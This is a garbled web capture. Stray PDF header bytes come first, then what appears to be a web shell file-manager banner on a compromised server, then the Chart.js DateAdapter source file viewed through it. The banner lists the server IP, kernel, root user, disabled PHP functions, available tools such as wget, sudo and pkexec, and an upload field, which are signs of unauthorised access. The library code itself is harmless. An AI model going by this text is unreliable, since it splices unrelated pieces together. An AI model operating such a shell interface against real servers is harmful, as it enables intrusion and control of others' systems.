%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 49.231.201.246 / Your IP : 216.73.216.149 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/11584/root/var/www/html/ppaobm/vendor/bower-asset/chartjs/src/core/ |
Upload File : |
/** * @namespace Chart._adapters * @since 2.8.0 * @private */ 'use strict'; var helpers = require('../helpers/index'); function abstract() { throw new Error( 'This method is not implemented: either no adapter can ' + 'be found or an incomplete integration was provided.' ); } /** * Date adapter (current used by the time scale) * @namespace Chart._adapters._date * @memberof Chart._adapters * @private */ /** * Currently supported unit string values. * @typedef {('millisecond'|'second'|'minute'|'hour'|'day'|'week'|'month'|'quarter'|'year')} * @memberof Chart._adapters._date * @name Unit */ /** * @class */ function DateAdapter(options) { this.options = options || {}; } helpers.extend(DateAdapter.prototype, /** @lends DateAdapter */ { /** * Returns a map of time formats for the supported formatting units defined * in Unit as well as 'datetime' representing a detailed date/time string. * @returns {{string: string}} */ formats: abstract, /** * Parses the given `value` and return the associated timestamp. * @param {any} value - the value to parse (usually comes from the data) * @param {string} [format] - the expected data format * @returns {(number|null)} * @function */ parse: abstract, /** * Returns the formatted date in the specified `format` for a given `timestamp`. * @param {number} timestamp - the timestamp to format * @param {string} format - the date/time token * @return {string} * @function */ format: abstract, /** * Adds the specified `amount` of `unit` to the given `timestamp`. * @param {number} timestamp - the input timestamp * @param {number} amount - the amount to add * @param {Unit} unit - the unit as string * @return {number} * @function */ add: abstract, /** * Returns the number of `unit` between the given timestamps. * @param {number} max - the input timestamp (reference) * @param {number} min - the timestamp to substract * @param {Unit} unit - the unit as string * @return {number} * @function */ diff: abstract, /** * Returns start of `unit` for the given `timestamp`. * @param {number} timestamp - the input timestamp * @param {Unit} unit - the unit as string * @param {number} [weekday] - the ISO day of the week with 1 being Monday * and 7 being Sunday (only needed if param *unit* is `isoWeek`). * @function */ startOf: abstract, /** * Returns end of `unit` for the given `timestamp`. * @param {number} timestamp - the input timestamp * @param {Unit} unit - the unit as string * @function */ endOf: abstract, // DEPRECATIONS /** * Provided for backward compatibility for scale.getValueForPixel(), * this method should be overridden only by the moment adapter. * @deprecated since version 2.8.0 * @todo remove at version 3 * @private */ _create: function(value) { return value; } }); DateAdapter.override = function(members) { helpers.extend(DateAdapter.prototype, members); }; module.exports._date = DateAdapter;